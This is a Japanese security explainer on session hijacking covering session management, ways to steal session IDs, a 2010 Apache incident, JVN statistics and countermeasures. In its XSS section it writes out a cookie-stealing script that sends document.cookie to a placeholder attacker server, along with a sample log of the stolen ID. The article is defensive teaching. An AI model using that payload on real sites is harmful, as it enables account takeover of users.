概要
セッションハイジャック(英: Session Hijacking)は、攻撃者がログイン中の利用者のセッションIDを不正に取得し、セッションを乗っ取る攻撃手法です。 この攻撃手法では利用者のIDやパスワードを知ることなく、アカウントの乗っ取りが可能です。 セッションハイジャックが行われると、個人情報の閲覧や変更などの操作、アカウントの不正利用といった被害を受ける可能性があります。
関連ゼイジャッキー
セッションハイジャック
海賊風の眼帯はオシャレで着用。ユーザのセッションIDを強奪し、そのユーザになりすまして権限を悪用する。
ゼイジャッキーとは?
セッションとは?
利用者がWebサイトにアクセスしてからブラウザを閉じるなどして通信が終了するまでの一貫性を持った通信のことをセッションといいます。
セッションが存在する間は通信の内容や「状態(ステート)」が保持されるため、ある通信の操作を次の通信に反映させることが可能です。
ログイン機能をもつWebアプリでは、ログイン後に利用者ごとの機能を提供するために状態を保持して、どの利用者の操作であるか識別し続ける必要があります。 そして、サーバ側で利用者を判別するためには、セッションIDと呼ばれる識別子を利用します。
また、セッションを何らかの方法で管理することをセッション管理と言います。
以下では一般的なセッション管理の方法を図示しています。
図のWebアプリでは、最初に利用者がログインしたときにセッションを作成して、利用者には一意なセッションIDとしてランダムな文字列で生成されたセッションIDを返却します。(図中1.と3.)
この時Webサイトでは、生成したセッションIDと利用者を結び付けたセッションデータを生成します。(図中2.)
利用者のブラウザは、Webアプリから受け取ったセッションIDを保持しておき、次回以降Webサイトにアクセスする際にリクエストにセッションIDを付加して送信します。(図中4.と5.)
Webアプリではセッションが付加されたリクエストが来た場合、セッションデータと照らし合わせることで利用者を識別し、返却するデータを選択します。(図中6.と7.)
本記事では一般的なWebサイト(セッション管理の方法をCookieで実現している)を前提に解説します。
セッションとHTTPの関わり
通常のWebアプリケーションにおいて通信プロトコルとしてHTTPが使用されていますが、HTTPはリクエストとレスポンスの1回の往復通信ごとに独立しているため、ログインやログアウトといった「状態」を保持することはできません。(HTTPは「ステートレス(Stateless)プロトコル」とも言われます。)
Webアプリケーションではセッションを利用して状態を持つことで、リクエストがどの利用者から送信されたのかといった識別を実現することができます。
セッションハイジャックの仕組み
1. 利用者がセッションを確立する
利用者はセッションを確立するためにサイトにログインします。 Webサイトの多くはログインするとセッションIDが発行されます。 攻撃者はこのセッションIDを利用して、セッションハイジャックを成立させます。
2. 利用者からセッションIDを奪取する
攻撃者は利用者のセッションIDを何らかの方法によって取得します。 セッションを取得する方法については次章で例を紹介します。
3. 利用者に成りすましてアクセスする
正規サイトがセッションIDによりどの利用者かの判断をしている場合、同じセッションIDでアクセスすれば成りすますことができます。 攻撃者は利用者のセッションIDをすでに知っているため、利用者に成りすまして不正な操作を行うことができます。
4. 攻撃成立までの流れ
これらの手順をまとめると次の図のような流れで攻撃は成立します。 ただし、攻撃者がセッションIDを取得する方法により攻撃成立までの流れは異なるため、以下の図は一例となります。
代表的な攻撃手法
セッションハイジャックを成立させるためには、攻撃者が利用者のセッションIDを知る必要があります。 そして、セッションIDを知る手段として以下の4点があげられます。
- セッションIDを推測する
- 通信を盗聴し、セッションIDを盗む
- 他の脆弱性や設定不備を利用してセッションIDを奪う
- セッションを固定化する(セッション・フィクセーション)
各項目について例を用いて解説します。
1. セッションIDを推測する
Webアプリケーションの設計において、セッションIDが時間情報や連番といった簡単なアルゴリズムで生 成されている場合、攻撃者は利用者に一切の関与なくセッションハイジャックを成立させることができます。 例えば、セッションIDがアルファベット3文字の連番で生成されている場合、攻撃者は以下の図のようにセッションIDを推測し、セッションを乗っ取ることが可能です。
2. 通信を盗聴し、セッションIDを奪う
クライアントとサーバ間で通信が暗号化されていない時、パケットキャプチャやパケットアナライザといった機器やソフトウェアを使用することで通信を盗聴し、セッションIDを奪うことが可能です。
3. 他の脆弱性や設計不備を利用してセッションIDを奪う
サイトに別の脆弱性や設計不備がある場合、攻撃者は利用者に罠にはめたりすることでセッションIDを奪うことが可能です。
例としてクロスサイトスクリプティングの脆弱性が存在するサイトで、セッションIDを奪う方法を紹介します。
※クロスサイトスクリプティングの脆弱性については別の記事で解説される予定になっています。公開までお待ちください。
最初にクロスサイトスクリプティングの脆弱性を利用して利用者のセッションIDを知る必要があります。 例として紹介するWebアプリケーションではセッションIDとしてCookieを使用している想定です。
そのため、 <script>alert(document.cookie)</script>
を発火させることで利用者のセッションIDをポップアップで表示することができます。
ポップアップに表示された session_value
が利用者のセッションIDの値になります。
このセッションIDを別のブラウザなどに設定し、サイトにアクセスすると利用者に成りすますことができます。
ただし、<script>alert(document.cookie)</script>
では利用者のブラウザ上でセッションIDが表示されるだけであり、攻撃者がセッションIDを奪えているわけではありません。 そのため、攻撃者がセッションIDを入手するにはポップアップで表示するのではなく、リダイレクトや<iframe>タグを扱い攻撃者のサーバにアクセスさせます。
<script>location. href = "http://攻撃者の用意したサイトのアドレス?" + document . cookie </script> |
このコードが実行されると、利用者のセッションIDがURLの末尾に追加されて攻撃者が用意したサーバに送信されます。攻撃者側の視点では、アクセスログなどを参照すると罠にかかった利用者のセッションIDを入手することができます。
198.51.100.1 - - [20/Oct/2021:15:00:00 +0900] "GET /攻撃者が用意したサイトのアドレス?sessionid=session_value HTTP/1.1" 200 ~以下省略~ |
また、Webアプリケーションの仕様でURLにセッションIDが埋め込まれている場合、利用者が攻撃者の用意したリンク等をクリックしてしまうとReferer情報にセッションIDが記録されてしまい、その情報を基にセッションIDが奪われてしまう可能性があります。
4. セッションを固定化する
攻撃者が用意したセッションIDを利用者に強制し、利用者が使用するセッションを固定化する手法です。
セッション固定化手法について、以下の記事で詳細に説明しています。
被害例
Apacheサーバでクロスサイトスクリプティングによるセッションハイジャック(2010年)
サーバの管理者がクロスサイトスクリプティングによってセッションを盗む攻撃コードが含まれている短縮URLをクリックしたことで管理者権限を持つセッションを奪われてしまった事例です。
この事例ではセッションハイジャックと同時にJIRA login.jspに対するブルートフォース攻撃を実施されました。 セッションハイジャックとブルートフォース攻撃のどちらかが成功したことにより管理者権限が奪われ侵入されてしまい、JIRA、Bugzilla、Confluenceユーザのハッシュ化されたパスワードが流出した可能性があるとして、ユーザに注意喚起を発表しました。
https://scan.netsecurity.ne.jp/article/2010/04/15/25107.html
JVN iPediaに登録された本脆弱性の件数
直近10年間で実際にJVNにセッションをハイジャックされる脆弱性が存在する可能性があるとして報告された件数です。
年代 | 件数 |
2012 | 12件 |
2013 | 23件 |
2014 | 16件 |
2015 | 6件 |
2016 | 8件 |
2017 | 4件 |
2018 | 0件 |
2019 | 0件 |
2020 | 0件 |
2021 | 0件 |
※上記の表はMyJVN APIを利用してCWE識別子を基に統計した件数になります。
JVNDBRSS - JVN iPediaにて公開している脆弱性対策情報の概要
対策方法
セッションハイジャックはセッションの管理や生成に脆弱な部分があり、セッションIDが推測・奪取可能な状態にあることが問題となります。
以下では具体的な対策方法について紹介します。
1. セッションIDを推測困難なものにする
セッションIDが時間情報や連番といった単純なアルゴリズムで生成されている場合、セッションIDの値を攻撃者に推測される可能性があります。 セッションIDを生成する場合は、暗号論的疑似乱数生成器などを用いて予測困難な値にしてください。 例としてJava言語の場合、SecureRandomクラスが暗号論的疑似乱数生成器に該当します。
2. セッションIDをURLパラメータに格納しない
セッションIDがURLパラメータに格納されている場合、ブラウザのReferer機能などによって攻撃者にセッションを知られてしまう可能性があります。 セッションIDをパラメータに格納する場合は、URLパラメータではなく、CookieやPOSTメソッドのhiddenパラメータに格納してください。
3. HTTPS通信で利用するCookieにはsecure属性を加える
Cookieにはsecure属性という項目が存在し、secure属性が設定されたCookieはHTTPS通信でのみ使用されます。 HTTP通信でセッションのやり取りが行われた場合、経路が暗号化されていないため、攻撃者にセッションIDを盗聴される可能性があります。 Cookieにはsecure属性を設定し、HTTP通信でCookieを利用する場合はHTTPS通信で利用されているCookieとは別のものを使用してください。
4. ログイン成功後に新しくセッションを開始する
Webアプリケーションの実装によってはログイン前のセッションIDとログイン後のセッションIDが同じ場合があります。 ログイン前後でセッションIDが同じ場合、セッションの固定化攻撃に脆弱になる可能性があります。 ログイン後は既存のセッションを無効化し、新しいセッションを開始することが必要です。 既存のセッションを無効化することで、攻撃者によって事前に取得されていたセッションIDでのアクセスを防ぐことができます。
5. ログイン成功後に、既存のセッション ID とは別に秘密情報を発行し、ページの遷移ごとにその値を確認する
セッションIDとは別に秘密情報を作成し、セッションIDと秘密情報の値が一致することで正規の利用者である確認します。 この対策を行う場合はすべてのページでセッションIDと秘密情報の値が一致することを確認する必要があります。 また対策4.を実施している場合は、本対策は不要です。
まとめ
セッションハイジャックの脆弱性が存在していると利用者のログインIDやパスワードを知らずとも、セッションIDを利用して攻撃ができてしまいます。 攻撃が成功すると利用者の個人情報の閲覧や変更などの操作、アカウントの不正利用といった被害を受けてしまいます。 こういった被害を防ぐには生成されるセッションやセッション管理方法を見直し、安全なものになっている事を確認することをお勧めします。